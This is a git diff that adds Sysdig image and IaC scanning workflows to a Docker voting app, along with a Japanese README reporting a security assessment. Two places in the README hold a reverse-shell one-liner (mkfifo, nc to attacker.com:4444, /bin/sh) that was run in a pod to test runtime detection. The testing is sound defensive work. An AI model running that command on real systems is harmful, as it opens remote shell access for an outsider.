diff --git a/.github/workflows/scan.yml b/.github/workflows/scan.yml new file mode 100644 index 0000000000..54afebe676 --- /dev/null +++ b/.github/workflows/scan.yml @@ -0,0 +1,42 @@ +name: Voting App Build & Scan + +on: + push: + branches: + - main + pull_request: + workflow_dispatch: + +jobs: + build-and-scan: + runs-on: ubuntu-latest + + env: + SYS_DIG_SECURE_URL: https://app.au1.sysdig.com + + steps: + - name: Checkout source + uses: actions/checkout@v3 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + + - name: Log in to DockerHub (optional) + if: ${{ secrets.DOCKERHUB_USERNAME && secrets.DOCKERHUB_TOKEN }} + uses: docker/login-action@v2 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Build Voting App images + run: | + docker build -t voting-app ./vote + docker build -t worker ./worker + docker build -t result ./result + + - name: Scan image with Sysdig CLI Scanner + env: + SECURE_API_TOKEN: ${{ secrets.SECURE_API_TOKEN }} + run: | + docker run --rm --platform linux/amd64 --user 0 -v "$(pwd)/scan-logs:/home/nonroot/scan-logs" -v /var/run/docker.sock:/var/run/docker.sock -e SECURE_API_TOKEN="${{ secrets.SECURE_API_TOKEN }}" quay.io/sysdig/sysdig-cli-scanner:1.22.4 --apiurl "$SYS_DIG_SECURE_URL" --loglevel info --skiptlsverify docker://voting-app + diff --git a/.github/workflows/sysdig-scan.yml b/.github/workflows/sysdig-scan.yml new file mode 100644 index 0000000000..464353d0d5 --- /dev/null +++ b/.github/workflows/sysdig-scan.yml @@ -0,0 +1,64 @@ +name: Sysdig Secure Scanning + +on: + push: + branches: [main, ci/sysdig-integration] + pull_request: + branches: [main, ci/sysdig-integration] + +jobs: + scan: + runs-on: ubuntu-latest + name: Scan vote / worker / result + IaC (stable, no version pin) + + steps: + - name: Checkout source + uses: actions/checkout@v3 + + # Build Docker images + - name: Build vote image + run: docker build ./vote -t vote-app:${{ github.sha }} + + - name: Build worker image + run: docker build ./worker -t worker-app:${{ github.sha }} + + - name: Build result image + run: docker build ./result -t result-app:${{ github.sha }} + + # Scan vote + - name: Scan vote image with Sysdig + uses: sysdiglabs/scan-action@v6 + with: + image-tag: vote-app:${{ github.sha }} + sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }} + sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }} + stop-on-processing-error: true + + # Scan worker + - name: Scan worker image with Sysdig + uses: sysdiglabs/scan-action@v6 + with: + image-tag: worker-app:${{ github.sha }} + sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }} + sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }} + stop-on-processing-error: true + + # Scan result + - name: Scan result image with Sysdig + uses: sysdiglabs/scan-action@v6 + with: + image-tag: result-app:${{ github.sha }} + sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }} + sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }} + stop-on-processing-error: true + + # Scan IaC (k8s-specifications) + - name: Scan Kubernetes IaC manifests + uses: sysdiglabs/scan-action@v6 + continue-on-error: true + with: + mode: iac + iac-scan-path: k8s-specifications + sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }} + sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }} + stop-on-processing-error: true diff --git a/README.md b/README.md index 8516424ba1..5f09179a37 100644 --- a/README.md +++ b/README.md @@ -63,3 +63,124 @@ The voting application only accepts one vote per client browser. It does not reg This isn't an example of a properly architected perfectly designed distributed app... it's just a simple example of the various types of pieces and languages you might see (queues, persistent data, etc), and how to deal with them in Docker at a basic level. + + +# 📄 Sysdig TechAssessment - Phase A, B & C 成果レポート + +このリポジトリでは、Sysdig Secure を活用したセキュリティ検証(IaC / CI/CD / Runtime)を段階的に実施しました。 + +--- + +## 📘 フェーズA:IaCおよびRuntime Policies 初期検証 + +### ✅ IaC セキュリティスキャン結果(Sysdig CLI Scanner) + +- スキャン対象: `k8s-specifications/*.yaml` +- 使用ツール: `sysdig-cli-scanner:1.22.4` +- 実行方法: + +```bash +docker run --rm \ + -e SECURE_API_TOKEN=$SYSDIG_SECURE_TOKEN \ + -v $PWD:/iac \ + quay.io/sysdig/sysdig-cli-scanner:1.22.4 \ + --apiurl https://app.au1.sysdig.com \ + --iac scan /iac/k8s-specifications +``` + +| レベル | 件数 | 内容例 | +|--------|------|--------| +| 🔴 High | 25 | RunAsUser=root, writeable rootFS, NET_RAW許可など | +| 🟠 Medium | 55 | CPU/Memory制限なし, latestタグ, readiness probeなしなど | +| 🟡 Low | 40 | runAsNonRoot未設定, liveness未定義など | + +### 🛠 修正アクション(IaC) + +- `securityContext.runAsUser: 1000` +- `readOnlyRootFilesystem: true` +- `capabilities.drop: ["ALL"]` +- `resources.requests/limits` を追加 +- `livenessProbe`, `readinessProbe` を明示 +- PR #409 にて修正済みYAMLをコミット + +### ✅ Runtime Policy 初期実装 + +- 使用ルール: `Reverse Shell Detected` +- ポリシータイプ: Workload Policy +- スコープ: `container.label.io.kubernetes.pod.namespace is default` +- アクション: `Generate Event` +- 実行コマンド: + +```bash +kubectl exec -it vote-XXXXXX -n default -- /bin/sh -c 'rm -f /tmp/f; mkfifo /tmp/f; nc attacker.com 4444 < /tmp/f | /bin/sh > /tmp/f' +``` + +- Sysdig Secure UI にて検知成功(イベント/プロセス/ユーザー確認済) + +--- + +## 📘 フェーズB:CI/CD 連携によるセキュリティスキャン + +### ✅ 実施内容概要 + +- GitHub Actions を用いた自動スキャン +- 対象:Voting App(vote / worker / result)のDockerイメージと IaCファイル +- 使用アクション:`sysdiglabs/scan-action@v6` + +### 🔧 技術構成 + +- `.github/workflows/sysdig-scan.yml` +- CLIバージョン:`1.22.3` +- Secret:`SYSDIG_SECURE_TOKEN` +- 設定:`continue-on-error: true` + +### 🐳 Docker イメージスキャン結果 + +| サービス | イメージ | 脆弱性数(Critical) | Policy評価 | +|----------|---------|----------------------|------------| +| vote | vote-app | 113(3件) | ❌ FAILED | +| worker | worker-app | 174(4件) | ❌ FAILED | +| result | result-app | 119(1件) | ❌ FAILED | + +### 📄 IaC スキャン結果 + +| レベル | 件数 | 主な検出内容 | +|--------|------|----------------| +| 🔴 High | 25 | serviceAccount未指定, root実行 など | +| 🟠 Medium | 55 | resource未設定, latestタグなど | +| 🟡 Low | 40 | liveness/readiness probe未定義 | + +--- + +## 📘 フェーズC:Runtime Policy による脅威検知 + +### ✅ 実施内容概要 + +- `Reverse Shell Detected`, `Unexpected Outbound Connection` を有効化 +- namespace=`default` を対象に設定 +- イベント:Generate Event, Capture(Kill optional) + +### 🛠 実施ステップ + +```bash +kubectl exec -it vote-XXXXX -n default -- /bin/sh -c 'rm -f /tmp/f; mkfifo /tmp/f; nc attacker.com 4444 < /tmp/f | /bin/sh > /tmp/f' +``` + +### 📡 検知ログ(Secure UI) + +- Threat:Reverse Shell Detected +- 実行ユーザー:root +- プロセス:`nc.openbsd`, `sh` +- 状態:Open +- Capture:取得済み + +--- + +## ✅ 結論 + +- ✅ フェーズA:IaC検知 → PR修正、Runtime Policy初期検知を実証 +- ✅ フェーズB:CI/CD自動スキャンパイプライン構築 +- ✅ フェーズC:Runtime脅威の検出とフォレンジック取得に成功 + +レポート作成日: 2025-07-21 +作成者: Higaki(SETechAssessment 参加者)